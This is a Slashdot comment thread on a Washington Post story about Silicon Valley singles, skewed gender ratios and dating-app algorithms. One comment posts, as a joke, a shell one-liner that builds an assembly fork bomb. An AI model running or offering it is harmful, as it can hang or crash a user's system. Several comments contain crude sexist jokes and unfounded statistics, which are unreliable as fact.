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Silicon Valley Singles Are Giving Up On the Algorithms of Love (washingtonpost.com)
The Washington Post: Melissa Hobley, an executive at the dating app OkCupid, hears the complaints about the apps [being unable to find good matches] regularly and thinks they get a bad rap. Silicon Valley workers "are in the business of scalable, quick solutions. And that's not what love is," Hobley said. "You can't hurry love. It's reciprocal. You're not ordering an object. You're not getting a delivery in less than seven minutes." Finding love, she added, takes commitment and energy -- and, yes, time, no matter how inefficiently it's spent.
"You have a whole city obsessed with algorithms and data, and they like to say dating apps aren't solving the problem," Hobley said. "But if a city is male-dominant, if a city is known for 16-hour work days, those are issues that dating apps can't solve." One thing distinguishes the Silicon Valley dating pool: The men-to-women ratio for employed, young singles in the San Jose metro area is higher than in any other major area. There were about 150 men for every 100 women, compared with about 125 to 100 nationwide, of never-married young people between 25 and 34 in San Jose, U.S. Census Bureau data from 2016 shows. That ratio permeates the economy here, all the way to the valley's biggest employers, which have struggled for years to bring more women into their ranks. Men make up about 70% of the workforces of Apple, Facebook and Google parent Alphabet, company filings show.
"You have a whole city obsessed with algorithms and data, and they like to say dating apps aren't solving the problem," Hobley said. "But if a city is male-dominant, if a city is known for 16-hour work days, those are issues that dating apps can't solve." One thing distinguishes the Silicon Valley dating pool: The men-to-women ratio for employed, young singles in the San Jose metro area is higher than in any other major area. There were about 150 men for every 100 women, compared with about 125 to 100 nationwide, of never-married young people between 25 and 34 in San Jose, U.S. Census Bureau data from 2016 shows. That ratio permeates the economy here, all the way to the valley's biggest employers, which have struggled for years to bring more women into their ranks. Men make up about 70% of the workforces of Apple, Facebook and Google parent Alphabet, company filings show.
Not surprising. Here I am reading slashdot at 5:30 PM Saturday night.
Write a heartfelt but rather naive memo explaining that you value diversity but want your company to enhance it in ways that don't 'incentivize illegal discrimination'.
Get promptly fired by your Ivy League Communist wannabe management.
Go on the paid speaker circuit and start a Patreon. Sue your company.
Meet blonde alt right hottie with rich conservative parents on the paid speaker circuit.
"Value her diversity" HARD. Start a family and write a book.
It beats slogging away knocking out boilerplate code in a single sex environment.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
None of this is even remotely of the same magnitude as the core issue of online dating: men outnumber women on all these sites by a factor of 10:1, if not worse. Women get overwhelmed by the number of messages they receive and either drop out of the service or become extremely picky. Men end up with an extremely low positive response rate and so turn towards a "shotgun" approach of just sending identical messages to dozens or even hundreds of women, further exacerbating the issue.
As long as the gender imbalance isn't solved, online dating is going to remain a game of chance and a mess for both genders. Right now, all it's doing is taking the already fairly dated (but still very widespread) social norm that men should be the ones initiating romantic advances (and therefore take on the numerous refusals and the emotional toll that goes along with them) and push it to a ridiculous limit.
It has nothing to do with love being hard, it's because their algorithms SUCK. Mainly because they look for "desireable" traits rather than excluding 'deal breakers'.
This a 'one night stand' mindset - you end up finding the desirable/attractive but damaged people, not the acceptable ones.
Example:
OKCupid asks people if they have cats or dogs. Then they let you look for someone that already owns a cat or a dog. They do NOT let you exclude people that have cats or dogs.
That is a one short term relationship system. If you only date people that already have a cat or a dog, you are looking for someone that won't have to change their life style to fit with yours. Perfect if all you want is a couple of months of fun.
However, let's say you want to get married. If they love you, they will grow to love your cat or dog. It will not be a 'deal killer'. But if you are allergic to a cat or a dog, you NEED to exclude those people. You can't ask them to give up their pet just to date you. If you tried that, your success rate plummets.
Same thing with many other such factors. If you are a short man WITHOUT a complex, then you are perfectly willing to date women, regardless of their height. You have no problem asking out someone a foot taller than you. That's healthy, non-discriminatory thinking. But if you try to ask out most tall women, you will be wasting your time, because most such women only want to date tall men.a
The truth is short men do not want to search for short women. Short men want to search for any woman that is willing to date men their size. Guess what - OKCupid knows which women are not willing to date short men but OKCupid will not let you exclude those women from your search..
The dating web sites are all seriously flawed by their 'show me a 10' mindset, rather than a "no deal breakers" mindset.
excitingthingstodo.blogspot.com
I think they screwed up somewhere. From what I understand about half of the male population is gay, so the dating pool should be pretty good no matter which way you swing. Of course, there is the number of lesbians to counteract that, but urandictionary doesn't have any data on that, so I can only guess.
We're all nerds here, so if technology isn't solving the problem the answer is MORE TECH. In this case the obvious solution is user reviews, which are conspicuously missing from dating sites. I am a solid four-star guy, and I realize that five-star chicks are out of my league, but I also don't want to waste time on two-star and three-star women. It would be great if I could downvote women whose photoshopped pictures don't match reality.
It made me wonder if it's even possible to say the sentence "You can't hurry love." without breaking into song halfway through.
It leads to the eternal question, though. What is love?
-=This sig has nothing to do with my comment. Move along now=-
In fact, the traditional belief that men are more promiscuous than women can't actually be correct, due to basic maths. if you have e.g. 100 men and 100 women, and each man has dated 3 women on average, then each woman must have dated 3 men on average as well, out of mathematically necessity.
It's more about the distribution than the average. Say, in a group of 100 men you have 50 who have never dated, 25 who have 1 date, 15 who have had 2 dates, 5 who have had 3, and 5 who have had 50. Then in the corresponding female group you have 5 who have had 1 date, 20 with 2 dates, 25 with 3 dates, and 50 with 4 dates. The average is the same for both groups, but any random woman you select is likely to be more "promiscuous" than any random man.
The same with cheating. If some men are cheaters, they must be cheating with someone, which implies female cheaters they're cheating with. Or, if they somehow are only cheating with single women, then some other single men must be getting *zero* partners to make up the difference. e.g. if married men are more promiscuous than married women, then single men must be less promiscuous than single women, which is a result that would seem to be contradictory to common sense: what's more likely is that married men and married women are equally likely to be cheaters.
No that doesn't work. You're mixing promiscuity and cheating, which are two different things, so your conclusion simply doesn't follow from the rest of your argument. But, even ignoring that, it falls apart for the same reason I listed above; distributions matter more than averages.
Besides which, if, say, 100% of men cheat, and 0% of women cheat, it's quite possible that there is a subset of women who service a large number of cheaters. Professionally. There might even be a name for sure a profession.
The key words in the story were "singles 25-35".
There are a statistically significant surplus of single men 25-35. There is also a statistically significant surplus of single women 55-65.
This visualization is fascintating. http://jonathansoma.com/single...
Underlying factor--there are quite a lot of 25 year old women (especially those who are single moms already) willing to become a 45-year-old middle manager's second wife. There are exceedingly few 25 year old men (especially who would like to be fathers) who are willing to become a 45-year-old elementary school teacher's second husband.
Uh, how many dependent males are there? Like, guys with little to no education who couldn't get by on their own because they've been stay-at-home dads and housewi... househusbands? Is that even a word? Is there a market for sugarmoms?
More than you might think at first. I know a *surprising* number of professional 40-something women (doctors, college profs) supporting educated but generally ne'r-do-well "indie filmmaker type" stay-at-home man-baby hubbies.
I think the reasoning is this. "I don't really have the assets/looks/personality that men above or even paralleling my social status want. If I marry someone a little below my station (university staff, male nurses, etc), there'll always be a lot of unspoken tension about that power imbalance. But, if I marry some good-looking 6'2" drifty-doofus who is good with kids, we both know where we stand".